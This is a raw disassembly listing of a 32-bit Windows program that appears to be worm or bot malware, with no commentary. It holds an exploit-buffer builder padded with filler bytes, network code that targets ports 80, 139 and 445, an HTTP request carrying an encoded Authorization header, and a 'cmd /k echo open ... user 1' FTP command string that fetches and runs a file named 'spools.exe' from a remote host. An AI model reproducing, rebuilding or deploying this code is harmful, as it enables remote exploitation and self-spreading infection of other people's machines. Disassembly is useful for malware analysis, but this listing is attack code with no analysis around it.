		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40C92A
		pop	esi
		retn	4
sub_40C95E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C97B	proc near		; CODE XREF: sub_40C9C7+Bp
					; sub_40C9E6+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40C92A
		retn	8
sub_40C97B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C98B	proc near		; CODE XREF: sub_40C9C7+16p
					; sub_40C9E6+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C824
		test	al, al
		jz	short loc_40C9C4
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C2A0
		call	sub_40C7B6
		mov	ecx, esi
		call	sub_40C80B
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40C9C4:				; CODE XREF: sub_40C98B+Fj
		pop	esi
		leave
		retn
sub_40C98B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9C7	proc near		; CODE XREF: sub_40C9E6+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40C97B
		test	al, al
		jz	short loc_40C9E2
		mov	ecx, esi
		call	sub_40C98B


loc_40C9E2:				; CODE XREF: sub_40C9C7+12j
		pop	esi
		retn	8
sub_40C9C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9E6	proc near		; CODE XREF: seg000:0040D26Dp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C772
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CD3A
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CD3A
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C772
		lea	ecx, [ebp+var_20]
		call	sub_40C772
		lea	ecx, [ebp+var_50]
		call	sub_40C772
		lea	ecx, [ebp+var_18]
		call	sub_40C772
		lea	ecx, [ebp+var_40]
		call	sub_40C772
		lea	ecx, [ebp+var_38]
		call	sub_40C772
		lea	ecx, [ebp+var_28]
		call	sub_40C772
		push	4
		push	offset dword_4389C0
		lea	ecx, [ebp+var_30]
		call	sub_40C92A
		push	3
		push	offset dword_4389C8
		lea	ecx, [ebp+var_30]
		call	sub_40C92A
		lea	ecx, [ebp+var_30]
		call	sub_40C8B0
		lea	ecx, [ebp+var_30]
		call	sub_40C98B
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40C92A
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40C92A
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40C92A
		lea	ecx, [ebp+var_20]
		call	sub_40C8B0
		push	offset loc_438D40
		lea	ecx, [ebp+var_50]
		call	sub_40C95E
		lea	ecx, [ebp+var_50]
		call	sub_40C8B0
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C77C
		lea	ecx, [ebp+var_58]
		call	sub_40C8B0
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40C9C7
		lea	ecx, [ebp+var_58]
		call	sub_40C80B
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40C95E
		push	4
		push	offset dword_4389CC
		lea	ecx, [ebp+var_18]
		call	sub_40C92A
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40C92A
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40C92A
		lea	ecx, [ebp+var_18]
		call	sub_40C8B0
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40C97B
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40C97B
		lea	ecx, [ebp+var_40]
		call	sub_40C98B
		lea	ecx, [ebp+var_18]
		call	sub_40C80B
		lea	ecx, [ebp+var_50]
		call	sub_40C80B
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40C97B
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40C97B
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40C97B
		lea	ecx, [ebp+var_38]
		call	sub_40C98B
		lea	ecx, [ebp+var_20]
		call	sub_40C80B
		lea	ecx, [ebp+var_30]
		call	sub_40C80B
		lea	ecx, [ebp+var_40]
		call	sub_40C80B
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40C92A
		lea	ecx, [ebp+var_28]
		call	sub_40C8B0
		push	2
		push	offset dword_438D34
		lea	ecx, [ebp+var_28]
		call	sub_40C92A
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40C97B
		lea	ecx, [ebp+var_28]
		call	sub_40C98B
		lea	ecx, [ebp+var_38]
		call	sub_40C80B
		lea	ecx, [ebp+var_10]
		call	sub_40C772
		lea	ecx, [ebp+var_8]
		call	sub_40C772
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40C97B
		lea	ecx, [ebp+var_10]
		call	sub_40C824
		lea	ecx, [ebp+var_28]
		call	sub_40C80B
		push	offset dword_438D30
		lea	ecx, [ebp+var_8]
		call	sub_40C95E
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C97B
		lea	ecx, [ebp+var_8]
		call	sub_40C824
		lea	ecx, [ebp+var_10]
		call	sub_40C80B
		push	offset a0_0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_40C95E
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40C97B
		lea	ecx, [ebp+var_10]
		call	sub_40C824
		lea	ecx, [ebp+var_8]
		call	sub_40C80B
		push	offset dword_438D24
		lea	ecx, [ebp+var_8]
		call	sub_40C95E
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C97B
		lea	ecx, [ebp+var_8]
		call	sub_40C824
		lea	ecx, [ebp+var_10]
		call	sub_40C80B
		push	(offset	loc_438D1F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40C95E
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40C97B
		lea	ecx, [ebp+var_8]
		call	sub_40C80B
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CD48
; ---------------------------------------------------------------------------


loc_40CD3A:				; CODE XREF: sub_40C9E6+1Bj
					; sub_40C9E6+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CD48:				; CODE XREF: sub_40C9E6+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40C9E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD4C	proc near		; CODE XREF: sub_40CE10+A1p
					; sub_40CE10+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_427224	; select
		cmp	eax, edi
		jnz	short loc_40CDB3
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4265E8	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40CDB7


loc_40CDB3:				; CODE XREF: sub_40CD4C+54j
		xor	eax, eax
		jmp	short loc_40CDC7
; ---------------------------------------------------------------------------


loc_40CDB7:				; CODE XREF: sub_40CD4C+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_4D1208


loc_40CDC7:				; CODE XREF: sub_40CD4C+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CD4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDCB	proc near		; CODE XREF: sub_40CE10+81p
					; sub_40CE10+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_4D11EC
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1240
		cmp	eax, 4
		jz	short loc_40CDF5
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CDF5:				; CODE XREF: sub_40CDCB+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4D1240
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CDCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE10	proc near		; CODE XREF: sub_40CEEA+48p
					; seg000:0040D368p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CE39
		xor	al, al
		jmp	loc_40CEE5
; ---------------------------------------------------------------------------


loc_40CE39:				; CODE XREF: sub_40CE10+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BC40
		push	2Fh
		push	offset dword_438A5C
		push	esi
		call	near ptr sub_41C9B0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_438A8C
		push	eax
		mov	[esi+2Fh], di
		call	near ptr sub_41C9B0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	near ptr sub_41C9B0
		push	6
		add	ebx, edi
		push	offset dword_4D3F0C
		push	ebx
		call	near ptr sub_41C9B0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_4389D4
		push	ebx
		call	sub_40CDCB
		add	esp, 48h
		test	al, al
		jnz	short loc_40CEA1


loc_40CE9D:				; CODE XREF: sub_40CE10+B5j
		xor	bl, bl
		jmp	short loc_40CEDC
; ---------------------------------------------------------------------------


loc_40CEA1:				; CODE XREF: sub_40CE10+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CD4C
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CDCB
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CE9D
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CD4C
		add	esp, 10h
		mov	bl, 1


loc_40CEDC:				; CODE XREF: sub_40CE10+8Fj
		push	esi
		call	sub_41B961
		pop	ecx
		mov	al, bl


loc_40CEE5:				; CODE XREF: sub_40CE10+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CE10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEEA	proc near		; CODE XREF: seg000:0040D34Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_438A98
		push	[ebp+arg_0]
		call	ds:dword_427220	; send
		cmp	eax, 48h
		jnz	short loc_40CF25
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CD4C
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CF25
		cmp	[ebp+var_20], 82h
		jz	short loc_40CF29


loc_40CF25:				; CODE XREF: sub_40CEEA+1Bj
					; sub_40CEEA+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CF29:				; CODE XREF: sub_40CEEA+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CE10
		add	esp, 0Ch
		leave
		retn
sub_40CEEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF3C	proc near		; CODE XREF: sub_40CF88+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_427690
		call	sub_41CE38
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41CD19
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41CE38
		inc	eax
		leave
		retn
sub_40CF3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF88	proc near		; CODE XREF: sub_40D12A+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426C8B
		call	sub_41D304
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D5C9
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40CF3C
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40CFCA
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D544


loc_40CFCA:				; CODE XREF: sub_40CF88+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D0E7
		mov	ebx, [ebp+10h]


loc_40CFD9:				; CODE XREF: sub_40CF88+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40CFE3
		push	3
		jmp	short loc_40CFF5
; ---------------------------------------------------------------------------


loc_40CFE3:				; CODE XREF: sub_40CF88+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40CFED
		push	2
		jmp	short loc_40CFF5
; ---------------------------------------------------------------------------


loc_40CFED:				; CODE XREF: sub_40CF88+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40CFF6
		push	1


loc_40CFF5:				; CODE XREF: sub_40CF88+59j
					; sub_40CF88+63j
		pop	ebx


loc_40CFF6:				; CODE XREF: sub_40CF88+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41CE5F
		pop	ecx
		pop	ecx
		call	sub_41CE38
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D035
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D035:				; CODE XREF: sub_40CF88+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D0A3
		add	[ebp-18h], eax


loc_40D087:				; CODE XREF: sub_40CF88+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_438AE4[eax]
		push	eax
		push	1
		call	sub_40D3C6
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D087


loc_40D0A3:				; CODE XREF: sub_40CF88+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D0C1
		push	dword ptr [ebp+14h]
		call	sub_41B890
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D41F
		mov	[ebp-18h], edi


loc_40D0C1:				; CODE XREF: sub_40CF88+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D0DB
		sub	esi, [ebp-1Ch]


loc_40D0CC:				; CODE XREF: sub_40CF88+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D3C6
		dec	esi
		jnz	short loc_40D0CC


loc_40D0DB:				; CODE XREF: sub_40CF88+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40CFD9
		push	1
		pop	ebx


loc_40D0E7:				; CODE XREF: sub_40CF88+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D5C9
		push	ds:dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D476
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D5C9
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40CF88	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D12A	proc near		; CODE XREF: seg000:0040D331p
		mov	eax, offset loc_426CA8
		call	sub_41D304
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_443398
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40CF88
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BBCB
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D174
		xor	bl, bl
		jmp	short loc_40D1B8
; ---------------------------------------------------------------------------


loc_40D174:				; CODE XREF: sub_40D12A+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D182
		mov	ecx, eax


loc_40D182:				; CODE XREF: sub_40D12A+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D18A
		mov	eax, [ebp+18h]


loc_40D18A:				; CODE XREF: sub_40D12A+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C030
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_4D1240
		cmp	eax, esi
		jz	short loc_40D1AF
		xor	bl, bl
		jmp	short loc_40D1B1
; ---------------------------------------------------------------------------


loc_40D1AF:				; CODE XREF: sub_40D12A+7Fj
		mov	bl, 1


loc_40D1B1:				; CODE XREF: sub_40D12A+83j
		push	edi
		call	sub_41B961
		pop	ecx


loc_40D1B8:				; CODE XREF: sub_40D12A+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D5C9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D5C9
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D12A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_438C90
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		mov	eax, offset aSpools_exe	; "spools.exe"
		push	eax
		push	eax
		movzx	eax, word ptr ds:dword_4D0F20
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AB6A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_41C030
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_438B28
		push	eax
		call	sub_40C9E6
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_40D28D
		xor	eax, eax
		jmp	loc_40D3B9
; ---------------------------------------------------------------------------


loc_40D28D:				; CODE XREF: seg000:0040D284j
		mov	[ebp-0Ch], esi


loc_40D290:				; CODE XREF: seg000:0040D390j
		test	esi, esi
		jnz	loc_40D396
		push	6
		push	1
		push	2
		call	ds:dword_42721C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D37E
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_4D11F0
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_4D1230
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4D1198
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D373
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D33B
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D5C9
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D605
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D12A
		add	esp, 1Ch
		jmp	short loc_40D370
; ---------------------------------------------------------------------------


loc_40D33B:				; CODE XREF: seg000:0040D2F9j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D355
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CEEA
		jmp	short loc_40D36D
; ---------------------------------------------------------------------------


loc_40D355:				; CODE XREF: seg000:0040D345j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D373
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CE10


loc_40D36D:				; CODE XREF: seg000:0040D353j
		add	esp, 0Ch


loc_40D370:				; CODE XREF: seg000:0040D339j
		movzx	esi, al


loc_40D373:				; CODE XREF: seg000:0040D2ECj
					; seg000:0040D35Fj
		push	ebx
		call	ds:dword_4D1288
		test	esi, esi
		jnz	short loc_40D389


loc_40D37E:				; CODE XREF: seg000:0040D2A9j
		push	3E8h
		call	ds:dword_427064	; Sleep


loc_40D389:				; CODE XREF: seg000:0040D37Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D290


loc_40D396:				; CODE XREF: seg000:0040D292j
		lea	ecx, [ebp-8]
		call	sub_40C80B
		test	esi, esi
		jz	short loc_40D3B7
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	ds:dword_438050[eax]
		lea	eax, dword_438050[eax]


loc_40D3B7:				; CODE XREF: seg000:0040D3A0j
		mov	eax, esi


loc_40D3B9:				; CODE XREF: seg000:0040D288j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D3BE:				; CODE XREF: seg000:00426C6Fj
					; seg000:00426C85j ...
		push	1
		call	sub_40D5C9
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40D3C6	proc near		; CODE XREF: sub_40CF88+110p
					; sub_40CF88+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D3E0
		call	sub_426290


loc_40D3E0:				; CODE XREF: sub_40D3C6+13j
		test	ebx, ebx
		jbe	short loc_40D417
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D544
		test	al, al
		jz	short loc_40D417
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BC40
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D417:				; CODE XREF: sub_40D3C6+1Cj
					; sub_40D3C6+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D3C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D41F	proc near		; CODE XREF: sub_40CF88+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D439
		call	sub_426290


loc_40D439:				; CODE XREF: sub_40D41F+13j
		test	ebx, ebx
		jbe	short loc_40D46E
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D544
		test	al, al
		jz	short loc_40D46E
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


